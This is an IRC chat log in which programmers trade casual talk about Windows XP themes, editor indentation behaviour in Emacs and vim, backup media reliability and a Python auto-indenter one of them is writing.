19:46:16 <Phantom_Hoover> XD
19:46:21 <elliott_> And unlike some ancient Linux version it can still run a modern browser :P
19:46:23 <elliott_> (Opera)
19:46:27 <Phantom_Hoover> Well, that's because they already did that.
19:46:36 <elliott_> Phantom_Hoover: Yeah, but they called it Windows 98.
19:46:50 <Vorpal> elliott_, btw there is a "funny" thing in one computer lab at university
19:46:55 <Vorpal> elliott_, they all run xp pro there.
19:47:05 <elliott_> How ... funny?
19:47:20 <Vorpal> elliott_, haven't got it it yet
19:47:37 <Vorpal> elliott_, here is the "funny" bit: when you unlock screen or log out it blue screens about 3 times out of 5
19:47:46 <elliott_> How ... funny?
19:47:48 <Vorpal> elliott_, and reboots before anyone has time to read the error message
19:48:44 <Vorpal> elliott_, and the it service department wants to have us read the message when we call them
19:48:54 <elliott_> Heh
19:48:54 * Phantom_Hoover → food.
19:49:31 -!- elliott_ has quit (Remote host closed the connection).
19:49:34 <Vorpal> elliott_, they promised to go have a look at it last week, but well, so far nothing happened...
19:49:42 <Vorpal> heh, bad timing
19:49:45 <elliott> hello
19:49:54 <elliott> Vorpal: Put Linux on them and skin it to look like XP Pro
19:49:56 <Vorpal> oh hah
19:49:56 <elliott> MWAHAHA
19:50:08 <Vorpal> elliott, they are set to do some crazy PXE stuff
19:50:21 <elliott> Sad thing: Making Linux's UI look and act like XP would make it more usable than KDE 4 and GNOME 3.
19:50:48 <Vorpal> elliott, when it reboots it goes into some stuff about that after POST, then it reboots a second time to the POST screen and then boots into windows
19:51:04 <elliott> EXCUSE ME I AM BUSY SADDENING
19:51:13 <Vorpal> elliott, well the boxes are setup to use classical windows theme
19:51:20 <Vorpal> thank god for that
19:51:32 <Vorpal> I can't stand the bubbly XP-look
19:51:41 <elliott> *Fisher Price
19:51:57 <Vorpal> elliott, what?
19:52:25 <ais523> Vorpal: a toy company in the UK
19:52:36 <ais523> who make toys with a similar style to the default XP theme
19:52:38 <Vorpal> ais523, I see..
19:52:48 <Vorpal> ais523, wait, what *googles*
19:52:53 <ais523> actually, I'm not sure if it's the UK or US
19:53:19 <Vorpal> ais523, based on google image search I have to say that default xp isn't *quite* that bad.
19:54:03 <ais523> I don't mind it, but I prefer the 95-style look
19:54:28 <elliott> Vorpal: that's the standard name for it :P
19:54:30 <Vorpal> ais523, I think of the classical xp theme as the windows 2000-look
19:54:44 <ais523> I don't think I used 2000
19:54:46 <Vorpal> ais523, besides it is closer to that than 95
19:54:50 <Vorpal> if you actually look at it
19:54:51 <elliott> it has both
19:54:58 <elliott> Windows Standard = 2000
19:55:01 <elliott> Windows Classic = 95 (colours)
19:55:09 <Vorpal> elliott, oh right. I use the 2000-one
19:55:55 <Vorpal> elliott, I never liked the gradients of 9x's title bars.
19:56:13 <elliott> I disable the gradients on Windows Standard
19:56:29 <Vorpal> elliott, i'm pretty sure Windows Standard doesn't have gradients?
19:56:38 <elliott> ... yes it does
19:56:49 <Vorpal> elliott, not quite as bad as 9x ones though
19:56:54 <elliott> It has gradients
19:57:00 <elliott> http://media.tomshardware.com/2006/05/31/windows_vista/aero_3.png
19:57:06 <elliott> If that loads, hasn't yet for me
19:57:17 <Vorpal> doesn't load for me
19:59:13 <elliott> hmm, an ski self interp would be fun
20:04:16 <elliott> although otoh an LC one is probably easier but done before :)
20:05:54 <Vorpal> elliott, is there no LC -> ski compiler?
20:05:59 <elliott> Yes, but that's ugley.
20:06:54 <Phantom_Hoover> Back.
20:08:19 <Phantom_Hoover> Uh-oh.
20:08:26 <elliott> What.
20:08:28 <Phantom_Hoover> Hmm, no.
20:08:46 <Phantom_Hoover> I thought I had that problem again with this connection.
20:09:06 <Phantom_Hoover> The one where existing connections stayed open but I couldn't make new ones.
20:09:09 <Phantom_Hoover> Very odd.
20:09:52 <Vorpal> Phantom_Hoover, I encountered that a few times. Generally restarting the ADSL modem helped
20:10:08 <Phantom_Hoover> Wasn't an option here, really.
20:10:11 <Vorpal> possibly the NAT state in it got bugged somehow
20:10:57 <Phantom_Hoover> I'm stuck halfway up the Antrim coast and the only connections I can get are borrowed.
20:11:32 <Vorpal> kill(2) is so badly named
20:11:42 <Vorpal> since it allows sending non-terminating signals
20:11:52 <elliott> Yay, looks like my interpreter model is sound.
20:11:52 <Vorpal> same goes for kill(1) by extension
20:12:04 <Vorpal> though at least kill(1) defaults to a terminating signal
20:12:08 <Phantom_Hoover> What'd you call it?
20:12:19 <Vorpal> Phantom_Hoover, hm. sendsig maybe?
20:12:30 <Vorpal> Phantom_Hoover, at least for the system call
20:12:49 <fizzie> It could be raise() if that wouldn't already be defined as basically kill+getpid.
20:13:01 <Vorpal> fizzie, yes indeed
20:13:22 <Vorpal> fizzie, though that is also a bit strange name if not acting on the current process
20:13:52 <Vorpal> anyway it isn't feasible to change it now...
20:14:17 <elliott> http://sprunge.us/OTPI
20:14:22 <elliott> Just needs a definition of eq, which will be ugly.
20:14:24 <fizzie> "ding", because that's what you do, you ding someone with a signal.
20:14:24 <elliott> Oh, wait.
20:14:27 <elliott> (\m. (eq n m) v m)
20:14:27 <elliott> should be
20:14:29 <elliott> (\m. (eq n m) v (var m))
20:15:02 <Vorpal> elliott, you should prove it in coq
20:15:06 <Vorpal> (to be sound)
20:15:16 <elliott> I tested it in Haskell, that's good enough.
20:16:37 <elliott> Less expanded version:
20:16:37 <elliott> eval = \e.
20:16:37 <elliott> e
20:16:37 <elliott> (\e' x. eval (replace (\f x. x) x e'))
20:16:37 <elliott> (\f x. eval f (eval x))
20:16:37 <elliott> ((\w. w w) (\w. w w))
20:16:39 <elliott> replace = \n v e.
20:16:41 <elliott> e
20:16:43 <elliott> (\e' F G H. F (replace (\f x. f (n f x)) v e'))
20:16:44 <coppro> is coq sound?
20:16:45 <elliott> (\f v F G H. G (replace n v f) (replace n v x))
20:16:47 <elliott> (\m F G H. H ((eq n m) v (var m)))
20:17:38 <Vorpal> coppro, hm, I don't know
20:20:15 -!- nescience has joined.
20:27:28 <Vorpal> elliott, I found that an issue with archive binging is that when you do catch up you find the sudden slow down of pace jarring
20:27:48 <Vorpal> elliott, happened for me on bowth iwc and schlock I know
20:29:47 <elliott> Yeah, I often forget to check after finishing a binge :P
20:29:58 <elliott> It's especially bad if the comic only updates like every three weeks.
20:30:13 <elliott> Because it becomes all "dude, this thing is so bloody slow".
20:30:16 <coppro> obviously the correct thing is comic books
20:32:34 <Vorpal> <elliott> It's especially bad if the comic only updates like every three weeks. <-- even stuff that updates just a few times a week is bad
20:32:39 <Vorpal> elliott, case in point: freefall
20:33:06 <Vorpal> I actually haven't read freefall for the last year or so
20:33:14 <Vorpal> if only I knew where I left off
20:33:22 <Vorpal> I might binge the new stuff
20:34:01 <elliott> OK, that's the last straw, to hell with Emacs, I'm writing leaden.
20:34:10 <Vorpal> elliott, what happened...
20:34:18 <elliott> Vorpal: I snapped X-P
20:34:25 <elliott> c-mode, especially, is terrible.
20:34:38 <Vorpal> elliott, what's so bad about c-mode?
20:34:46 <elliott> No, I don't want reindenting to put my \ macro continuation chars on column 34985734895734 or however far into the stratosphere you think they should be.
20:34:52 <Vorpal> elliott, though come to think of it... I usually use kate for C coding...
20:34:55 <ais523> elliott: oh, i do
20:34:56 <elliott> Indentation affects the START of a line, so get your grubby mitts off of my code.
20:34:57 <ais523> *I do
20:35:04 <elliott> ais523: That's nice; I don't :P
20:35:09 <ais523> but maybe I'm used to the way Emacs works by now
20:35:12 -!- pikhq has quit (Ping timeout: 250 seconds).
20:35:19 <elliott> Maybe if there was an obvious way to configure that behaviour I wouldn't mind.
20:35:19 -!- pikhq has joined.
20:35:27 <elliott> Also: haskell-mode has been a bit stupid recently.
20:35:33 <elliott> I get that tabbing cycles through all possible indentations.
20:35:39 <elliott> But couldn't it omit the really ridiculous ones that nobody would ever go to?
20:35:55 <elliott> I can type in the indentation manually if I really want to go there. ...or I could, if haskell-mode didn't try to be all smart about indentation and not let you override it.
20:36:24 <elliott> Also: Seriously Emacs? I can't tell you to erase N spaces in one backspace? You know, the thing that keeps manual indentation with spaces sane? Even TextMate can do that!
20:36:35 <elliott> (If you link me to some elisp that hacks it in, my point is proven.)
20:36:49 <olsner> emacs? :(
20:37:08 <olsner> I just use softtabstop=4
20:37:09 <elliott> olsner: And no, vim can't do the things I want either :P
20:37:14 <fizzie> I don't really like the multi-line macro indentation either; it keeps mangling \s, yes, but it also feels as if does something strange every now and then.
20:37:24 <elliott> fizzie: Yeah, it's very rickety.
20:37:33 <elliott> fizzie: You might want to do C-c C-l to turn off "electric mode".
20:37:40 <elliott> That at least stops it fucking up macros when you don't press TAB.
20:37:41 * pikhq tries to figure out WTF is causing the connection droppage.
20:37:44 <fizzie> Maybe they're trying to subtly discourage you from writing horrible twenty-line macros.
20:37:53 <elliott> LIKE I'D EVER DO THAT
20:38:49 <Vorpal> elliott, hm... I'd like emacs with something like good autocompletion.
20:39:17 <elliott> Welllll... on one hand, regular autocompletion is a sign of a bad API. On the other hand, it would be nice not to have to google for "gtk text view" or something whenever I want to know the methods.
20:39:19 <Vorpal> elliott, think intellisense style. Even though I dislike MSVC, intellisense is quite well implemented.
20:39:37 <elliott> Intellisense is good, but only if you have to press tab to pop it up; automatic intellisense = annoyance.
20:39:38 <olsner> Vorpal: no it's not :)
20:40:02 <elliott> Oh, and if I could type "gtk.<TAB>srcvw" and have it fuzzy-match "SourceView", well, that would just be dandy.
20:40:02 <olsner> granted, it's the best I've seen for C++, but that's just because every other similar thing is so much worse
20:40:08 <Vorpal> elliott, indeed. And showing parameter docs for something like foldl would be useful. If you notice:
20:40:09 <Vorpal> foldl :: (a -> b -> a) -> a -> [b] -> a
20:40:11 <Vorpal> foldr :: (a -> b -> b) -> b -> [a] -> b
20:40:22 <Vorpal> the a/b switch always confuse me
20:40:28 <Vorpal> can never remember which one uses which
20:40:37 <elliott> haskell-mode does that but only in the minibuffer. and with a delay.
20:41:29 <elliott> Let's see if I can't make these non-modal keybindings useful without stacking twenty on top of each other like Emacs.
20:41:46 <elliott> (Fun exercise: count how many one-character-plus-modifier Emacs keybindings that NOBODY EVER USES BECAUSE THEY'RE USELESS.)
20:41:48 <Vorpal> <elliott> Intellisense is good, but only if you have to press tab to pop it up; automatic intellisense = annoyance. <-- I found that in C# (yes I hate it too, but at least it is better than C++, had to use both in various courses so far) automatic intellisense isn't that annoying at all. In older msvc it used to get in the way but they made it pop up up in a less obtrusive way I think in recent versions
20:41:55 <elliott> (Now count the more-than-one-character-plus-modifier keybindings that people use regularly.
20:41:57 <elliott> *regularly.)
20:42:19 <Vorpal> elliott, like it no longer pops up right on top of the other code you want to see.
20:42:25 <fizzie> MonoDevelop's intellisense-alike wasn't particularly good.
20:42:41 <Vorpal> fizzie, indeed, I don't really dig it. Though it got better as well in recent versions
20:42:52 <Vorpal> fizzie, still mono lacks proper API docs so it is fairly useless there
20:43:01 <ais523> I find the equivalent in NetBeans works pretty well, although if you tell it to not autopopup the key sequence needed is a little crazy
20:43:04 <ais523> control-space or something
20:43:04 <elliott> I would like it if editors would figure out the damn indentation width from the file's contents.
20:43:12 <elliott> That would make quick edits to existing code much less painful.
20:43:21 <ais523> elliott: tab=8, obviously!
20:43:34 <elliott> ais523: And everybody indents with single tabs!
20:43:36 <Vorpal> <elliott> haskell-mode does that but only in the minibuffer. and with a delay. <-- the minibuffer is quite an annoying way to do it.
20:43:40 <elliott> The Wonderful World of ais523.
20:43:43 <elliott> Vorpal: Indeed.
20:43:49 <olsner> elliott: I read about something that did just that, figure out editor settings based on the existing indentation
20:43:56 <elliott> Incidentally, the minibuffer being a buffer has always annoyed me more than it helps...
20:43:59 <ais523> elliott: no, four spaces for one indent, one tab for two, is AFAICT the standard in older files
20:44:08 <elliott> AFAICT it would be more usable if it were special-cased.
20:44:09 <Vorpal> <ais523> control-space or something <-- I think that is what msvc has for manual pop up
20:44:10 <elliott> ais523: Oh please.
20:44:12 <elliott> ais523: There is no such standard.
20:44:19 <Vorpal> ais523, or ctrl-shift-space for parameter docs
20:44:20 <elliott> Everyone indents a different way. (well, except in Python)
20:44:21 <ais523> anything I've seen more than twenty years old or so has been indented like that
20:44:31 <elliott> ais523: Unix was indented with single tabs from the start...
20:44:36 <Vorpal> <elliott> I would like it if editors would figure out the damn indentation width from the file's contents. <-- would rock yeah.
20:44:42 <elliott> As well as many things...
20:44:42 <ais523> elliott: I haven't seen that
20:44:48 <elliott> ais523: what, /ever/?
20:44:50 <Vorpal> elliott, or if emacs and vim could read it's other mode line thingies
20:44:56 <Vorpal> that would be useful too
20:45:03 <elliott> Vorpal: *each other's; yes, that would be nice. Though I don't like putting them in my files.
20:45:07 <ais523> vim has a mode line thingy?
20:45:10 <elliott> Yes.
20:45:15 <elliott> It's basically a "set" line.
20:45:20 <elliott> I wonder if the things it can set are restricted. Probably.
20:45:20 <ais523> I know I tried to do a mode line in BF Joust, but couldn't figure out how to do so reliably
20:45:29 <ais523> because the syntax involves writing -*- inside a comment
20:45:33 <ais523> and ()*0 comments don't work in egojoust
20:45:42 <Vorpal> elliott, and at least extract some tab stop stuff. And possibly guess at what c-mode could mean
20:45:43 <elliott> Would be fun to enable vi compatibility in everyone's editor :-)
20:45:48 <elliott> Vorpal: Yeah ...
20:45:49 <ais523> in Emacs, there's a whitelist /and/ a blacklist, and things in between are prompted, IIRC
20:45:57 <elliott> Vorpal: You should try leaden when I have it running again (lost the old code), it's quite nice :P
20:46:01 <Vorpal> elliott, sure vim could not be expected to understand the full range of stuff you can do in eamcs mode line
20:46:09 <Vorpal> elliott, you lost old code?
20:46:09 <fizzie> ais523: Yes, and vim's modelines can be also at the end of the file, which is sometimes nice. (I think Emacs only looked for -*- format lines at the start?)
20:46:14 <Vorpal> elliott, did this teach you anything?
20:46:15 <ais523> one of my favourites: auto-indent mode is one of the things you're not supposed to put on a modeline
20:46:21 <ais523> fizzie: Emacs has a different format for end-of-file modelines
20:46:26 <ais523> which I can never remember
20:46:27 <elliott> Vorpal: Don't trust the Ubuntu installer not to delete partitions without indicating that it will?
20:46:32 <elliott> Yes, I learned that.
20:46:38 <Vorpal> elliott, oh
20:46:40 <ais523> so, I went and invented an ais523-auto-indent-mode setting
20:46:42 <elliott> Vorpal: Oh snap :P
20:46:42 <fizzie> ais523: Wasn't it something more verbose?
20:46:44 <ais523> which is ignored by most people's Emacses
20:46:44 <Vorpal> elliott, I was hoping it would include "vcs"
20:46:51 <ais523> umm, auto-fill, not auto-indent
20:46:57 <elliott> Hey, hey, I use VCSes, just not in project infancy.
20:47:00 <Vorpal> elliott, also backups of course
20:47:02 <ais523> it meant "this file should automatically wrap lines if edited by ais523"
20:47:15 <elliott> I'll start doing backups when I can convince myself that I do anything worth the cost.
20:47:24 <Vorpal> elliott, leaden?
20:47:27 <Vorpal> elliott, ssh keys?
20:47:42 <ais523> elliott: just create a tarball of everything that can't trivially be redownloaded, and copy it to a USB stick
20:47:42 <elliott> I have login access to one ssh server and I use a password for it (and never use it)
20:47:43 <Vorpal> elliott, your CV?
20:47:44 <ais523> that's what I do
20:47:45 <Vorpal> XD
20:47:48 <elliott> I'm an internet nomad :P
20:47:50 <elliott> Or is that a monad.
20:48:14 <olsner> YOUR THE INTERNET MONAD
20:48:32 <Vorpal> <ais523> elliott: just create a tarball of everything that can't trivially be redownloaded, and copy it to a USB stick <-- I do that for the most important things (ssh, gpg, keyring, firefox profile, stuff like that)
20:48:42 <Vorpal> and I also have a more conventional backup of course
20:48:48 <ais523> Vorpal: I do that for everything
20:48:55 <elliott> olsner: No, your wrong bitch. (it's been so long, am i getting my /prog/ memes right?)
20:48:58 <Vorpal> ais523, I don't have a large enough usb stick
20:48:59 <ais523> it's a case of making a file listing all the directories to back up that way
20:49:07 <ais523> it comes to less than 5GB to me, compressed
20:49:09 <ais523> *for me
20:49:14 <Vorpal> ais523, /dev/mapper/array-home has 60 GB used
20:49:14 <elliott> hmm, there's no comma is there
20:49:15 <elliott> anyway
20:49:18 <ais523> and that's tiny by USB stick standards nowadays
20:49:29 <ais523> Vorpal: but most of the large files are things like downloads
20:49:30 <elliott> I can't imagine anyone storing 60 Gio of anything but mostly media
20:49:30 <ais523> that aren't yours
20:49:39 <elliott> for a start, you don't need to back up IRC logs...
20:49:41 <ais523> source code is tiny; binaries can be rather larger
20:49:54 <elliott> ais523: I wouldn't put backing up downloads past Vorpal ...
20:49:54 <Vorpal> elliott, uh I archive those on cd after a year :P
20:49:56 <elliott> or source code ...
20:49:57 <ais523> elliott: logs of /queries?
20:50:04 <ais523> elliott: backing up source makes sense
20:50:08 <elliott> Vorpal: You realise CDs are ridiculously fragile?
20:50:08 <ais523> but it's tiny compared to everything else
20:50:14 <elliott> ais523: no, of other people's projects
20:50:16 <olsner> elliott: I don't know if you're getting them right since i don't know the memes
20:50:19 <ais523> ah, that makes more sense
20:50:24 <elliott> olsner: That's your own personal problem.
20:50:34 <Vorpal> elliott, yes but they are not only on cd
20:50:35 <elliott> ais523: "Welp, just downloaded Apache 1.3.3... better back it up in case it ever disappears from the internet and I need it."
20:50:37 <ais523> although, if I'm editing other people's code even slightly, I normally back up the whole tree rather than the diff because it's easier
20:50:41 <ais523> this was mostly a problem for gcc-bf
20:50:43 <Vorpal> elliott, they used to be
20:50:48 <ais523> where the rest of gcc is rather large
20:50:48 <olsner> elliott: hmm, or is it a lack of problem?
20:50:50 * elliott can't think of any reason to use a CD instead of a USB stick nowadays
20:50:54 <ais523> and also, I think it breaks with more recent gcc
20:50:55 <Vorpal> elliott, before I got my 2x1 TB disk setup :P
20:51:00 <elliott> Vorpal: *Tio
20:51:07 <Vorpal> elliott, ??
20:51:09 <ais523> hmm, how reliable are USB sticks for long-term storage?
20:51:13 <elliott> Vorpal: Tebioctets.
20:51:14 <ais523> is there enough data yet to tell
20:51:19 <elliott> ais523: yes, there is
20:51:20 <ais523> as in, will they still work after, say, ten years?
20:51:21 <Vorpal> elliott, XD
20:51:27 <elliott> ais523: their failure mode is "no more writes", like all SSDs
20:51:37 <elliott> ais523: being unable to /read/ data from a USB stick is basically impossible
20:51:44 <elliott> unless you physically mutilate it, I suppose
20:51:44 <ais523> yep, but presumably they have another failure mode where they can no longer be read
20:51:49 <elliott> ais523: I don't think so
20:51:55 <elliott> ais523: or at least, it's ridiculously long
20:51:59 <ais523> I imagine a failure of the controller circuit might happen before a failure of the actual storage
20:52:03 <ais523> but it'd happen eventually
20:52:09 <Vorpal> <elliott> ais523: their failure mode is "no more writes", like all SSDs <-- that is *one* failure mode
20:52:11 <elliott> ais523: besides, by the time you can't write any more, you could just copy it
20:52:19 <elliott> in the hundred years you have before you can't read any more
20:52:19 <ais523> Vorpal: it's the one that typically happens first
20:52:20 <Vorpal> elliott, if the controller fails you are screwed
20:52:21 <elliott> or whatever :P
20:52:27 <Vorpal> elliott, unless you want to waste money
20:52:31 <elliott> Vorpal: Not _definitely_ screwed
20:52:39 <elliott> You could salvage the actual stored data
20:52:41 <Vorpal> elliott, "unless you want to waste money"
20:52:42 <ais523> elliott: all data can be kept readable indefinitely by repeatedly copying it via some basically-lossless method
20:52:43 <elliott> Although that would be non-trivial
20:52:45 <elliott> Waste money?
20:52:47 <elliott> Data recovery != waste
20:52:57 <Vorpal> elliott, well compared to having backups :P
20:53:02 <ais523> it might well need an electron microscope, you can't just patch up an ASIC
20:53:08 <elliott> ais523: yes, but the point is with USB sticks, not only is the relevant failure mode (not readable) ridiculously long, but there's a very obvious indication that it will fail much, much before
20:53:16 <ais523> yep
20:53:19 <elliott> Vorpal: I'm talking about backing up to SSD storage
20:53:20 <ais523> but only if you're using it all that time
20:53:23 <elliott> which is much saner than backing up to CDs
20:53:28 <elliott> ais523: or you just test it every now and then
20:53:32 <ais523> you can't tell a USB stick is no longer writable if you just stick it in a draw and leave it there
20:53:35 <Vorpal> ais523, I heard of controller failures before write cycle count failures on SSD.
20:53:37 <elliott> ais523: note that the not-being-able-to-write mode is only after some writes
20:53:46 <elliott> I think that it will store pretty much indefinitely if you just leave it alone
20:53:47 <Vorpal> can't say I heard about that for usb sticks though
20:53:59 <ais523> elliott: well, flash memory works by saving stored charge
20:54:14 <ais523> you'd imagine it would leak out eventually due to the pnpnpn... barriers used not being perfectly resistive
20:54:30 <Vorpal> ais523, that will happen
20:54:40 <Vorpal> ais523, also is it pnpnpn?
20:54:47 <Vorpal> that's quite a lot of layers
20:54:47 <ais523> maybe not exactly
20:54:55 <ais523> but it's the way people do "insulation" on ASICs
20:55:01 <ais523> just put a lot of diodes back to front
20:55:18 <Vorpal> ais523, heh. How do you get past them when you do want that though?
20:55:19 <ais523> it's easier than putting an actual insulator there with modern ASIC manufacture methods
20:55:27 <Vorpal> oh haha
20:55:37 <ais523> you don't, it's the equivalent of the lack of a wire on a circuit board
20:56:03 <Vorpal> ais523, you mean modern CPUs use that to separate the wires and such?
20:56:12 <elliott> syntax highlighting is really non-trivial
20:56:24 <Vorpal> elliott, that is why you use a nice library to do it
20:56:29 <elliott> a good one has to be incremental, has to be able to start from somewhere other than the start of a stream and resynchronise correctly
20:56:36 <elliott> and yet still handle invalid code
20:56:40 <Vorpal> elliott, context sensitive syntax highlighting, while cool is however a bitch
20:56:40 <elliott> and preferably recover later on
20:56:45 <elliott> <Vorpal> elliott, that is why you use a nice library to do it
20:56:49 <elliott> they're all batch-oriented
20:56:52 <elliott> which == very slow when editing a large file
20:56:54 <Vorpal> elliott, ah
20:57:02 <elliott> because you have to constantly re-highlight
20:57:08 <elliott> I'll just use gtksourceview's highlighter for now, but still...
20:57:20 <elliott> (= what gedit uses)
20:57:21 <Vorpal> elliott, you should do stuff like make declared type names have a different colours so you can tell which ones are valid.
20:57:25 <Vorpal> stuff like that
20:57:26 <elliott> (it'll be gedit's basic control, but totally different above that)
20:57:29 <elliott> Vorpal: heh
20:57:33 <elliott> Vorpal: maybe :-P
20:58:03 <Vorpal> elliott, I know monodevelop and MSVC does this for C#, it is actually quite nice once you used it a few minutes
20:58:07 <Vorpal> but very language specific
20:58:18 <Vorpal> as in
20:58:29 <Vorpal> will need quite a large parser, one per language
20:58:32 <Vorpal> to handle it properly
20:58:39 <Vorpal> C in particular would be a hell to do it for
20:58:42 <elliott> My focus will be the C, Python and Haskell modes to start with
20:58:43 <ais523> NetBeans uses green for properties, as opposed to classes or methods, and puts static methods in italics
20:58:45 <ais523> in Java
20:58:55 <elliott> Because leaden is written in Python (for now), I primarily edit Haskell, and I write C on a semi-regular basis
20:58:58 <Vorpal> ais523, is that when declaring or when calling?
20:59:01 <ais523> Java's much better for that than C++, though, because of the lack of defines and includes
20:59:06 <ais523> and that's everywhere the identifier is used
20:59:22 <ais523> you can tell you typoed because the word comes up in the wrong color
20:59:28 <elliott> My primary focus is GOOD AUTOINDENTAITON
20:59:38 <elliott> Because most editors suck at it or don't even do it at all, and that is why those editors are useless.
20:59:42 <Vorpal> ais523, C# would be about on the same level as java here. While it has preprocessor that is basically limited to #define FOO/#undef FOO and #ifdef
20:59:47 <Vorpal> (and #endif too)
21:00:00 <ais523> that's probably not even a preprocessor
21:00:06 <Vorpal> ais523, indeed.
21:00:12 <ais523> it's probably more along the lines of declaring const variables and compile-time if statements
21:00:25 <Vorpal> ais523, the #define is just boolean iirc
21:00:33 <Vorpal> ais523, and only affects the #ifdef bit
21:00:37 <ais523> hmm, here's a WTF for you: I remember when I was much younger I was trying to write a program in Borland C++
21:00:41 <Vorpal> ais523, I don't think it can get into actual code
21:00:41 <ais523> and confused #if and if
21:00:44 <elliott> Some indentation scenarios are pretty non-trivial...
21:00:47 <elliott> Consider
21:00:48 <Vorpal> ais523, hahaha
21:00:48 <elliott> a \
21:00:49 <elliott> b \
21:00:50 <elliott> c \
21:00:55 <ais523> it let me use #if with respect to a const variable, which is the wtf bit
21:01:02 <ais523> as in, const int a = 1; #if a ... #endif
21:01:03 <elliott> If you just use the rule "line continuation character ("\") at EOL --> one more indent in next line"
21:01:05 <elliott> you'd get that wrong
21:01:07 <elliott> so you have to scan backwards
21:01:11 <elliott> to see if this bit is already indented...
21:01:12 <Vorpal> elliott, if you have #define MACRO() in front of that you are screwed :P
21:01:14 <ais523> at least, I may remember wrong
21:01:18 <elliott> ais523: wow :D
21:01:25 <elliott> Vorpal: This is for Python :P
21:01:31 <ais523> I probably do because if I remembered right, that's completely insane
21:01:31 <Vorpal> elliott, ah...
21:01:56 <olsner> I think #if a if a is not a macro treats a as 0
21:02:09 <olsner> and if it is defined to nothing it's a one
21:02:16 <Vorpal> <elliott> If you just use the rule "line continuation character ("\") at EOL --> one more indent in next line" <-- add "and not already in continuation mode"
21:02:28 <Vorpal> elliott, no need to scan backwards, just keep a flag
21:02:29 <elliott> Vorpal: The indenter doesn't have modes, it has to work purely on context.
21:02:45 <elliott> Otherwise it'd fail horribly for moving around the file, opening new files, files with invalid syntax somewhere, blah blah blah.
21:02:47 <Vorpal> elliott, hm...
21:03:09 <Vorpal> elliott, you already have some state on the line
21:03:14 <elliott> Howso?
21:03:19 <Vorpal> elliott, that is how many tabs in it should be/is
21:03:38 <elliott> Not really; I actually just look at the previous line's whitespace in front of it, and add another unit of indentation if we need one.
21:03:46 <elliott> Or even remove one.
21:03:47 <Vorpal> elliott, hm
21:03:54 <elliott> e.g. "else:" should dedent one from a block body
21:04:02 <oerjan> <Vorpal> can never remember which one uses which <-- well for foldl the type of the final result is coming from the left, while for foldr it is coming from the right
21:04:07 <Vorpal> elliott, in python how do you deal with knowing when to unindent though
21:04:09 <Vorpal> elliott, imagine:
21:04:11 <elliott> Vorpal: Heuristically.
21:04:12 <Vorpal> def foo:
21:04:14 <Vorpal> ....
21:04:15 <elliott> *foo()
21:04:20 <Vorpal> def bar():
21:04:22 <Vorpal> ...
21:04:24 <elliott> Vorpal: python-mode dedents after a return statement, although that's a bit perverse.
21:04:30 <Vorpal> elliott, right, python-fu is a bit rusty
21:04:35 <elliott> With Python, backspace (one indent) replaces }, basically.
21:04:37 <elliott> But e.g.
21:04:38 <elliott> if foo:
21:04:41 <elliott> ...
21:04:42 <Vorpal> elliott, not all python functions return something
21:04:43 <elliott> |
21:04:45 <elliott> where | is cursor
21:04:47 <elliott> and you type "else:"
21:04:49 <elliott> should obviously dedent one
21:04:53 <fizzie> It also dedents after a "pass" and so on.
21:04:54 <elliott> (assuming ... doesn't end with conditional block)
21:04:57 <Vorpal> elliott, anyway you can def a nested function in python
21:05:04 <elliott> Yes, you can.
21:05:04 <elliott> And?
21:05:28 <Vorpal> elliott, right. Meaning you have to trust existing indention when auto-reindenting a file
21:05:35 <Vorpal> or do you only plan auto indenting without that
21:05:44 <Vorpal> as in, no way to say "fix up the indention of my selection"
21:05:46 <fizzie> elliott: Anyway, at least my Emacs dedents the else: when I type in the ":".
21:05:56 <Vorpal> fizzie, pretty sure that is what kate does
21:06:40 <elliott> >>> indent_python('def hello():\n')
21:06:40 <elliott> ' '
21:06:40 <elliott> >>> indent_python('print 42\n')
21:06:40 <elliott> ''
21:06:41 <elliott> It's a start.
21:06:59 <elliott> Vorpal: There will be a reindent, yes. But the default behaviour will be to not touch existing indentation, because that's irritating.
21:07:18 <elliott> >>> indent_python('def hello():\n print 42\n if 2 + 2 == 4:\n')
21:07:18 <elliott> ' '
21:07:19 <elliott> Hooray.
21:08:38 <Vorpal> <elliott> Vorpal: There will be a reindent, yes. But the default behaviour will be to not touch existing indentation, because that's irritating. <-- of course
21:08:54 <Vorpal> elliott, anyway my point was that reindent for python will be somewhat more complicated than for a language like C
21:08:56 <elliott> ("Reindent this selection" in Python is tricky, though.)
21:09:03 <Vorpal> elliott, as i just said yes
21:09:05 <elliott> Because you have to handle it differently than just "auto-indent the whole thing".
21:09:14 <elliott> Instead you can basically just convert indentation width and that is it.
21:09:34 <Vorpal> elliott, yep. A language like C without a preprocessor is the best bet for making this easy :P
21:10:19 <Vorpal> elliott, anyway autoformat is more useful. You know, fixing spacing around operators to what you set it to and so on
21:10:37 <elliott> Yeah.
21:10:44 <Vorpal> elliott, such tools saved my sanity when working on projects with other people before.
21:10:56 <fizzie> ais523: The #defines are called pre-processing directives, but "The term "pre-processing directives" is used only for consistency with the C and C++ programming languages. In C#, there is no separate pre-processing step; pre-processing directives are processed as part of the lexical analysis phase."
21:11:09 <elliott> I tend to... avoid contributing code to things that are badly-formatted.
21:11:11 -!- pikhq_ has joined.
21:11:16 <elliott> mcmap JUST BARELY GETS AWAY with Allman style.
21:11:52 -!- pikhq has quit (Ping timeout: 276 seconds).
21:12:05 <ais523> elliott: this reminds me of something: earlier this week a bunch of my students were using an indentation style which was like this
21:12:09 <ais523> int function(int arg)
21:12:18 <Vorpal> elliott, I have to admit that microsoft actually managed to make a damn good IDE when it came to MSVC 2010 if you have to use C#. It actually doesn't annoy me to code in it. Well sure it annoys me to code C#. But I don't go mad at the actual IDE beyond "gah this default font isn't nice, lets change it... ah done".
21:12:18 <ais523> { the_first_line_of_the_function();
21:12:23 <elliott> ais523: Pico style!
21:12:33 <ais523> and I asked them why they'd done it like that, and they said the autoindenter had done it
21:12:33 <elliott> (what Wikipedia calls it, despite nobody knowing wtf the Pico language is and nobody caring either)
21:12:38 <elliott> ais523: or uh
21:12:43 <elliott> did they have } on the same line
21:12:45 <elliott> or a separate one
21:12:47 <ais523> and I was wondering why the autoindenter was set like that, and why it even had a setting to do that
21:12:55 <fizzie> What it supports is #define and #undef, but those can only do "#define FOO" which defines a "conditional compilation symbol" FOO that you can test against with #if/#else/#elif/#endif -- not general-purpose symbols you could use elsewhere. And then there's #line/#error/#warning related to error reporting, and #region/#endregion as general-purpose markers.
21:12:55 <elliott> ais523: I bet what they did was
21:12:56 <Vorpal> <ais523> { the_first_line_of_the_function(); <--- what....
21:12:56 <ais523> } was after the last line of the function
21:12:58 <elliott> int function(int arg) {
21:13:01 <elliott> then it auto-electrified to
